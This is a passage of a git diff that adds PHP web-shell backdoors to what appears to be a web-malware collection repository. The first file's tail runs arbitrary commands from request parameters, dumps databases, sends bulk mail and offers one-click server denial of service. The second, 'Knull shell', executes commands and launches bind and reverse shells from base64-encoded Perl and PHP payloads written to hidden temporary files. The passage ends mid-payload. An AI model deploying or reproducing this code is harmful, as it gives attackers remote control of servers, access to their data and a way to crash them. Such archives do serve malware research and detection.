+echo $head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end; +exit; +} +if ($_GET['do']=="cmd"){ +echo $head.' +<form method=get action="'.$me.'"> +<p align="center"> +<textarea rows="19" name="S1" cols="87">'; +if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){ +echo $_GET['execmethod']($_GET['command']);} +if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){ +echo $_POST['execmethod']($_POST['command']);} + +if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){ +popen($_GET['command'],"r");} + +echo'</textarea></p><p align="center"> +<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod> + <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option> +</select><input type="submit" value="eXecute"> +</p></form>'.$end;exit;} +if ($_GET['do']=="symlink"){ +echo $head.' +<form method=post action="'.$me.'"> +<p align="center"> +SymLink With PHP<br><input name=ad1syp size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syp size=50><br><input type=submit value=SymLink!><hr><p align="center"></form> +<form method=post action="'.$me.'"><p align="center"> + +SymLink With OS : <br><input name=ad1syc size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syc size=50><br><input type=submit value=SymLink!> +</p></form>'.$end;exit;} +if ($_POST['ad1syp'] && $_POST['ad2syp']){ +if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){ +alert("Symlink Worked !"); +}else{ +alert("Symlink Not Worked !"); +}} +if ($_POST['ad1syc'] && $_POST['ad2syc']){ +if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){ +alert("Symlink Worked !"); +}else{alert("Symlink Not Worked !");} +} +if ($_GET['do']=="d0slocal"){ +echo $head.' +<p align="center">If You Click This Link This Server Crashed.<br>This Worked In Php 5.3.x : <a href="?dosthisserver=1" target="_blank"><font size=4>Dos This Server I Am Sure </font></a><br>This Worked In Php 4.x.x And 5.2.9 : <a href="?dosthisserver=2" target="_blank"><font size=4>Dos This Server I Am Sure </a>'.$end;exit;} +if ($_GET['dosthisserver']=="1"){ +function dosserver(){ +$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999); +for($i=0;$i<2;){ +$buff=bcpow($junk, '3', 2); +$buff=null; +} +} +dosserver(); +} +if ($_GET['dosthisserver']=="2"){ +function cx(){cx();} + cx(); +} +if ($_GET['do']=="convert"){ +$hash=null; +if ($_GET['stringtoh'] && $_GET['hashtoh']=='md5'){ +$hash=md5($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='sh1'){ +$hash=sha1($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='crc32'){ +$hash=crc32($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64e'){ +$hash=base64_encode($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64d'){ +$hash=base64_decode($_GET['stringtoh']); +} +echo $head.' +<form method=get action="'.$me.'"> +<p align="center">Convert<br><input type=hidden name=do value=convert> +<input name=stringtoh size=58><select name=hashtoh> +<option value="md5">MD5</option> +<option value="crc32">CRC32</option> +<option value="sha1">SHA1</option> +<option value="b64e">Base64 Encode!</option> +<option value="b64d">Base64 Decode!</option> +<br><textarea cols=60 rows=18>'.$hash.'</textarea><br><input type=submit value="Convert"> + +</p></form>'.$end;exit;} +if ($_GET['do']=="dump"){ +echo $head.'<p align="center">'; +echo '<table border=1 width=400 style="border-collapse: collapse" bordercolor=#C6C6C6 cellpadding=2><tr><td width=400 colspan=2 bgcolor=#F2F2F2><p align=center><b><font face=Arial size=2 color=#433934>Backup Database</font></b></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>DB Type:</font></td><td width=250 bgcolor=#EAEAEA><form method=post action="'.$me.'"><select name=method><option value="gzip">Gzip</option><option value="sql">Sql</option> </select></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Server:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=server size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Username:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=username size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Password:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=password></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Data Base Name:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=dbname></td></tr><tr><td width=400 colspan=2 bgcolor=#EAEAEA><center><input type=submit value=" Dump! " ></td></tr></table></form></center></table>'.$end;exit;} +if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){ +$date = date("Y-m-d"); +$dbserver = $_POST['server']; +$dbuser = $_POST['username']; +$dbpass = $_POST['password']; +$dbname = $_POST['dbname']; +$file = "Dump-$dbname-$date"; +$method = $_POST['method']; +if ($method=='sql'){ +$file="Dump-$dbname-$date.sql"; +$fp=fopen($file,"w"); +}else{ +$file="Dump-$dbname-$date.sql.gz"; +$fp = gzopen($file,"w"); +} +function write($data) { +global $fp; +if ($_POST['method']=='sql'){ +fwrite($fp,$data); +}else{ +gzwrite($fp, $data); +}} +mysql_connect ($dbserver, $dbuser, $dbpass); +mysql_select_db($dbname); +$tables = mysql_query ("SHOW TABLES"); +while ($i = mysql_fetch_array($tables)) { + $i = $i['Tables_in_'.$dbname]; + $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i)); + write($create['Create Table'].";\n\n"); + $sql = mysql_query ("SELECT * FROM ".$i); + if (mysql_num_rows($sql)) { + while ($row = mysql_fetch_row($sql)) { + foreach ($row as $j => $k) { + $row[$j] = "'".mysql_escape_string($k)."'"; + } + write("INSERT INTO $i VALUES(".implode(",", $row).");\n"); + } + } +} +if ($method=='sql'){ +fclose ($fp); +}else{ +gzclose($fp);} +header("Content-Disposition: attachment; filename=" . $file); +header("Content-Type: application/download"); +header("Content-Length: " . filesize($file)); +flush(); + +$fp = fopen($file, "r"); +while (!feof($fp)) +{ + echo fread($fp, 65536); + flush(); +} +fclose($fp); +} + +if ($_GET['do']=="mail"){ +echo $head.' +<form method=post action="'.$me.'"> +<p align="center"> +Address : <input type="text" name="admail" size="50"><br><br>Subject : <input type="text" name="submail" size="50"><br><br><textarea cols=70 rows=18 name=textmail>Text</textarea><br><br>Number For Send : <input type="text" name="numail" size="5" value=1><input type=submit value=Send!></form>'.$end;exit;} +if ($_POST['admail'] && $_POST['submail'] ){ +for($mi=0;$mi<intval($_POST['numail']);$mi++){ +mail($_POST['admail'], $_POST['submail'], $_POST['textmail']);} +} +if($_GET['do']=="db"){ +echo $head;sqlclienT();echo $end; +exit; +} +if($_REQUEST['file2ch'] && $_REQUEST['chmodnow']){ +$chmodnum2=$_REQUEST['chmodnow']; +chmod($_REQUEST['file2ch'],"0".$chmodnum2); +} +if($_GET['do']=="chmod"){ +echo $head.$formg.$nowaddress."<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='".$_REQUEST['address'].$_REQUEST['filename']."'> To <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>".$end;exit; + +} +/* if($_GET['do']=="edit"){ +if($_GET['filename']=="dir"){ +if(is_readable($_GET['address'])){ +chdir($_GET['address']);}else{alert("Permission Denied !");} + +}} */ +$araddresss=explode($slash,getcwd()); +$matharrayy=count($araddresss)-1; +$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss); +for($countback=0;$countback<count($addr1backk);$countback++){ +$arraybacke[$countback]=$slash.$addr1backk[$countback]; +$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback]; +} +if ($slash=="\\"){ +$countback=null; +$backdirwin=null; +for($countback=1;$countback<count($addr1backk);$countback++){ +$backdirwin=$backdirwin."\\".$addr1backk[$countback];} +$backdirwin=$addr1backk[0].$backdirwin; +$backaddresss=$backdirwin; +}else{ +$countback=null; +$backdirwin=null; +for($countback=1;$countback<count($addr1backk);$countback++){ +$backdirwin=$backdirwin."/".$addr1backk[$countback];} +$backdirwin=$addr1backk[0].$backdirwin; +$backaddresss=$backdirwin; +$backaddresss=str_replace("\\","/",$backaddresss); +} +function calc_dir_size($path) +{ +$size = 0; +if ($handle = opendir($path)) +{ +while (false !== ($entry = readdir($handle))) +{ +$current_path = $path . '/' . $entry; +if ($entry != '.' && $entry != '..' && !is_link($current_path)) +{ +if (is_file($current_path)) +$size += filesize($current_path); +elseif (is_dir($current_path)) +$size = calc_dir_size($current_path); +} +} +} +closedir($handle); +return $size; +} +function openf($parsef){ +global $basep,$slash; + +if(strlen(strpos(getcwd(),$basep))>=1){ +$rr=str_replace($basep,"",getcwd()); +$rr=str_replace("\\","/",$rr); +$diropen='<a href="'.$rr."/".$parsef.'">'.$parsef.'</a>'; +}else{ +$diropen='<a href="?do=edit&address='.getcwd().$slash.'&filename='.$parsef.'">'.$parsef.'</a>'; +} +return $diropen; +} +if ($_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];} +if($cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">'; +$ad=getcwd(); +$hand=opendir("$ad"); +$coi=0; +$coi2=0; + +while (false !== ($fileee = readdir($hand))) { + + + if ($fileee != "." && $fileee != "..") { + if (filetype($fileee)=="dir"){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"'; + +} +$coi++; +$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="1" dir="ltr"> +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picdir. '" /> <a href="?address='.$cwd.$slash.$fileee.$slash.'">'.$fileee.'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=dir&address='.$cwd.$slash.'&dirname='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>' +;} +else{ + + if ($coi2 %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"'; +} + +$coi2++; +$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picfile. '" /> '.openf($fileee).'</span></td> +<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">'.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">Edit</a></td><td valign="top" height="19" width="23"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>' +;} +} +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$fil.$file.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Command Execute : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input type=hidden name=address value='.getcwd().'><input name=command value=id size=50><input type=hidden name=do value=cmd size=50> <select name=execmethod> + <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option> +</select> <input type=submit value="Execute"></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Dir : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().$slash.' size=50> +<input type=submit value=Change></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create Dir : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cdirname value='.getcwd().$slash.' size=50><input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create File : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cfilename value='.getcwd().$slash.' size=50> <input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr> +<tr></form> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Upload : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > <input type=hidden name=address value='.getcwd().'> +<input type=submit value=Upload /></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Copy File : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input size=20 name=copyname><input type=hidden name=address value="'.getcwd().'"> To <input size=40 name=cpyto value="'.getcwd().$slash.'"> <input type=submit value =Copy></form></td></tr> +'.$end; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/knullsh.txt b/web-malware-collection-master/Backdoors/PHP/knullsh.txt new file mode 100755 index 0000000..b6cd42f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/knullsh.txt @@ -0,0 +1,567 @@ +<?php +/* + +Knull shell alpha1 + +Authored by Knull of http://leethack.info + +Project homepage: https://code.google.com/p/knull-shell/ + +Features: + +Contains PHP web frontend +Contains newer bind/reverse/backpipe shells in PHP/Python/Perl, Telnet/Netcat backpipes + +Disclaimer: any use of this software on a computing device can only be used with explicit permission +from the computers rightful owner, I cannot be held responsible for the consequences of your actions. + +*/ + +error_reporting(0); + +// check for disabled PHP functions + +$disabled_funcs=@ini_get('disable_functions'); +if(!empty($disabled_funcs)){ $disabled_funcs=preg_replace('/[, ]+/', ',', $disabled_funcs); +$disabled_funcs=explode(',', $disabled_funcs); +$disabled_funcs=array_map('trim', $disabled_funcs); }else{ $disabled_funcs=array(); } + +function logout() { + + $_SESSION = array('authenticated' => false); + + if (isset($_COOKIE[session_name()])) + setcookie(session_name(), '', time()-44000, '/'); + + session_destroy(); +} + + +function stripslashes_deep($value) { + if (is_array($value)) + return array_map('stripslashes_deep', $value); + else + return stripslashes($value); +} + +// create 'hidden session looking' filename +function sess_fname() { + return '.sess_'.md5(mt_rand()); +} + +// check for valid port +function is_port($port){ + $retport = (is_numeric($port) && $port>=0 && $port<=65535) ? true : false; + return $retport; +} + +// todo: check for valid ip + +// execute command by enabled function + +function exec_method($cmd) { + + $retval = true; + + if(is_callable('shell_exec') and !in_array('shell_exec',$disabled_funcs)) { + $ret_exec=shell_exec($cmd); + } else if (is_callable('passthru') and !in_array('passthru',$disabled_funcs)) { + ob_start(); passthru($cmd); $ret_exec=ob_get_contents(); ob_end_clean(); + } else if (is_callable('exec') and !in_array('exec',$disabled_funcs)) { + $ret_exec=array(); exec($cmd,$ret_exec); + } else if (is_callable('system') and !in_array('system',$disabled_funcs)) { + ob_start(); system($cmd); $ret_exec=ob_get_contents(); ob_end_clean(); + } else if (is_callable('proc_open')and!in_array('proc_open',$disabled_funcs)) { + $handle=proc_open($cmd,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $ret_exec=NULL; while(!feof($pipes[1])) { $ret_exec.=fread($pipes[1],1024); } @proc_close($handle); + } else if(is_callable('popen')and!in_array('popen',$disabled_funcs)){ + $fp=popen($cmd,'r'); $ret_exec=NULL; + } else { + $retval = false; + } + + return $retval; + +} + +if (get_magic_quotes_gpc()) + $_POST = stripslashes_deep($_POST); + +// Initialize variables +$username = isset($_POST['username']) ? $_POST['username'] : ''; +$password = isset($_POST['password']) ? $_POST['password'] : ''; + +$webshcmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; +$rows = isset($_POST['rows']) ? $_POST['rows'] : 24; +$columns = isset($_POST['columns']) ? $_POST['columns'] : 80; + +/* +Default username:password is root:toor , replace '435b41068e8665513a20070c033b08b9c66e4332' +in the line below with the sha1 hash from the command 'echo -n yourpasswordhere | sha1sum -' +*/ +$ini['users'] = array('root' => 'sha1:435b41068e8665513a20070c033b08b9c66e4332'); + +// Default settings +$default_settings = array('home-directory' => '.'); + +// Merge settings +$ini['settings'] = array_merge($default_settings, $ini['users']); + +session_start(); + +if (isset($_POST['logout'])) + logout(); + +// Authentication +if (isset($ini['users'][$username])) { + if (strchr($ini['users'][$username], ':') === false) { + // No seperator = clear text password + $_SESSION['authenticated'] = ($ini['users'][$username] == $password); + } else { + list($fkt, $hash) = explode(':', $ini['users'][$username]); + $_SESSION['authenticated'] = ($fkt($password) == $hash); + } +} + + +// not authed? +if (!isset($_SESSION['authenticated'])) + $_SESSION['authenticated'] = false; + +if ($_SESSION['authenticated']) { +// Initialise session variables + if (empty($_SESSION['cwd'])) { + $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); + $_SESSION['output'] = ''; + } + + if (!empty($webshcmd)) { + + // append commmand to output + $_SESSION['output'] .= '$ ' . $webshcmd . "\n"; + + // Initialize cwd + if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $webshcmd)) { + $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); + } elseif (preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $webshcmd, $regs)) { + // 'cd' command to be handled as internal shell command + + if ($regs[1]{0} == '/') { + // its an absolute path, leave it + $new_dir = $regs[1]; + } else { + // append relative paths to cwd + $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; + } + + // '/./' becomes '/' + while (strpos($new_dir, '/./') !== false) + $new_dir = str_replace('/./', '/', $new_dir); + + // '//' becomes '/' + while (strpos($new_dir, '//') !== false) + $new_dir = str_replace('//', '/', $new_dir); + + // 'x/..' becomes '' + while (preg_match('|/\.\.(?!\.)|', $new_dir)) + $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); + + if ($new_dir == '') $new_dir = '/'; + + if (@chdir($new_dir)) { + $_SESSION['cwd'] = $new_dir; + } else { + $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; + } + + } elseif (trim($command) == 'exit') { + logout(); + } else { + + chdir($_SESSION['cwd']); + + // cannot use putenv() when in safe mode + if (!ini_get('safe_mode')) { + // putenv the terminal size for programs + putenv('ROWS=' . $rows); + putenv('COLUMNS=' . $columns); + } + + // alias expansion + $length = strcspn($webshcmd, " \t"); + $token = substr($webshcmd, 0, $length); + if (isset($ini['aliases'][$token])) + $webshcmd = $ini['aliases'][$token] . substr($webshcmd, $length); + + $io = array(); + $p = proc_open($webshcmd, + array(1 => array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + // stdout + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + // stderr + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + + + } + + echo "<fieldset><legend><h4>Shells</h4></legend><form action='" . $_SERVER['REQUEST_URI'] . "' method='post'>"; + echo "IP: <input type='text' name='ip' size=15 maxlength=65> Port: <input type='text' name='port' size=5 maxlength=5> +<select name='bd_host'> + <option value='default'>Select Shell...</option> + <option value='plbd'>Bind/Perl</option> + <option value='phpbd'>Bind/PHP</option> + <option value='ncbp'>Reverse/NetcatBackpipe</option> + <option value='tnbp'>Reverse/TelnetBackpipe</option> + <option value='phprev'>Reverse/PHP</option> + <option value='pyrev'>Reverse/Python</option> +</select> + <input type='submit' value='Exec'>"; + // add ip/host validation + if (empty($_POST['bd_host']) || $_POST['bd_host'] === 'default') { ; } + else if (!is_port($_POST['port'])) { + echo '<p class="error">Invalid port number!</p>'; + } else { + + $uniqfn = '/tmp/' . sess_fname(); + + if ($_POST['bd_host'] === 'plbd'){ + +$bind_pl = "IyEvdXNyL2Jpbi9lbnYgcGVybA0KJFNIRUxMPSIvYmluL2Jhc2ggLWkiOw0KaWYgKEBBUkdWIDwg +MSkgeyBleGl0KDEpOyB9DQokTElTVEVOX1BPUlQ9JEFSR1ZbMF07DQp1c2UgU29ja2V0Ow0KJHBy +b3RvY29sPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NU +UkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiZXJyb3I6IHNvY2tldFxuIjsNCnNldHNvY2tvcHQoUyxT +T0xfU09DS0VULFNPX1JFVVNFQUREUiwxKTsNCmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BP +UlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiZXJyb3I6IGJpbmRcbiI7DQpsaXN0ZW4oUywzKSB8fCBk +aWUgImVycm9yOiBsaXN0ZW5cbiI7DQp3aGlsZSgxKQ0Kew0KYWNjZXB0KENPTk4sUyk7DQppZigh +KCRwaWQ9Zm9yaykpDQp7DQpkaWUgImVycm9yOiBmb3JrIiBpZiAoIWRlZmluZWQgJHBpZCk7DQpv +cGVuIFNURElOLCI8JkNPTk4iOw0Kb3BlbiBTVERPVVQsIj4mQ09OTiI7DQpvcGVuIFNUREVSUiwi +PiZDT05OIjsNCmV4ZWMgJFNIRUxMIHx8IGRpZSBwcmludCBDT05OICJlcnJvcjogZXhlYyAkU0hF +TExcbiI7DQpjbG9zZSBDT05OOw0KZXhpdCAwOw0KfQ0KfQ0K"; + + @$fh=fopen($uniqfn,"ab+"); + @fwrite($fh,base64_decode($bind_pl)); + @fclose($fh); + $command = 'perl ' . $uniqfn . ' ' . $_POST['port'] . ' > /dev/null &'; + if (exec_method($command)) { + echo '<p>Perl Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>'; + } else { + echo '<p class="error">Unable to execute Perl Bindshell!</p>'; + } + + } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phpbd')){ + + $php_bind = "IyEvdXNyL2Jpbi9waHAKPD9waHAJCi8qIApLbnVsbCdzIG1vZGlmaWVkIGBtc2ZwYXlsb2FkIHBo +cC9iaW5kX3BocCBSYAoqLwoKaWYgKCRhcmdjID09PSAzKSB7CgpAc2V0X3RpbWVfbGltaXQoMCk7 +CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDAp +OwoJCiRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKaWYoIWVtcHR5KCRkZikpewoJ +JGRmPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRmKTsKCSRkZj1leHBsb2RlKCcsJywg +JGRmKTsKCSRkZj1hcnJheV9tYXAoJ3RyaW0nLCAkZGYpOwp9ZWxzZXsKCSRkZj1hcnJheSgpOwp9 +CgokcG9ydD0kYXJndlsyXTsKJGlwPSRhcmd2WzFdOwoKJHNvY2s9QHNvY2tldF9jcmVhdGUoQUZf +SU5FVCxTT0NLX1NUUkVBTSxTT0xfVENQKTsKJHJldD1Ac29ja2V0X2JpbmQoJHNvY2ssJGlwLCRw +b3J0KTsKJHJldD1Ac29ja2V0X2xpc3Rlbigkc29jayw1KTsKCiRtc2dzb2NrPUBzb2NrZXRfYWNj +ZXB0KCRzb2NrKTsKQHNvY2tldF9jbG9zZSgkc29jayk7Cgp3aGlsZShGQUxTRSE9PUBzb2NrZXRf +c2VsZWN0KCRyPWFycmF5KCRtc2dzb2NrKSwgJHc9TlVMTCwgJGU9TlVMTCwgTlVMTCkpCnsKCSRv +ID0gJyc7CgkkYz1Ac29ja2V0X3JlYWQoJG1zZ3NvY2ssMjA0OCxQSFBfTk9STUFMX1JFQUQpOwoJ +aWYoRkFMU0U9PT0kYyl7YnJlYWs7fQoJaWYoc3Vic3RyKCRjLDAsMykgPT0gJ2NkICcpewoJCWNo +ZGlyKHN1YnN0cigkYywzLC0xKSk7Cgl9IGVsc2UgaWYgKHN1YnN0cigkYywwLDQpID09ICdxdWl0 +JyB8fCBzdWJzdHIoJGMsMCw0KSA9PSAnZXhpdCcpIHsKCQlicmVhazsKCX1lbHNlewoJCWlmIChG +QUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicgKSkgewoJCSRjPSRjLiIg +Mj4mMVxuIjsKCX0KCSRpc2M9J2lzX2NhbGxhYmxlJzsKCSRpbmE9J2luX2FycmF5JzsKCQkKCWlm +KCRpc2MoJ3N5c3RlbScpYW5kISRpbmEoJ3N5c3RlbScsJGRmKSl7CgkJb2Jfc3RhcnQoKTsKCQlz +eXN0ZW0oJGMpOwoJCSRvPW9iX2dldF9jb250ZW50cygpOwoJCW9iX2VuZF9jbGVhbigpOwoJfWVs +c2UgaWYoJGlzYygncGFzc3RocnUnKWFuZCEkaW5hKCdwYXNzdGhydScsJGRmKSl7CgkJb2Jfc3Rh +cnQoKTsKCQlwYXNzdGhydSgkYyk7CgkJJG89b2JfZ2V0X2NvbnRlbnRzKCk7CgkJb2JfZW5kX2Ns +ZWFuKCk7Cgl9ZWxzZSBpZigkaXNjKCdleGVjJylhbmQhJGluYSgnZXhlYycsJGRmKSl7CgkJJG89 +YXJyYXkoKTsKCQlleGVjKCRjLCRvKTsKCQkkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7Cgl9 +ZWxzZSBpZigkaXNjKCdwcm9jX29wZW4nKWFuZCEkaW5hKCdwcm9jX29wZW4nLCRkZikpewoJCSRo +YW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KHBpcGUsJ3InKSxhcnJheShwaXBlLCd3Jyks +YXJyYXkocGlwZSwndycpKSwkcGlwZXMpOwoJCSRvPU5VTEw7CgkJd2hpbGUoIWZlb2YoJHBpcGVz +WzFdKSl7CgkJCSRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CgkJfQoJCUBwcm9jX2Nsb3NlKCRo +YW5kbGUpOwoJfWVsc2UgaWYoJGlzYygncG9wZW4nKWFuZCEkaW5hKCdwb3BlbicsJGRmKSl7CgkJ 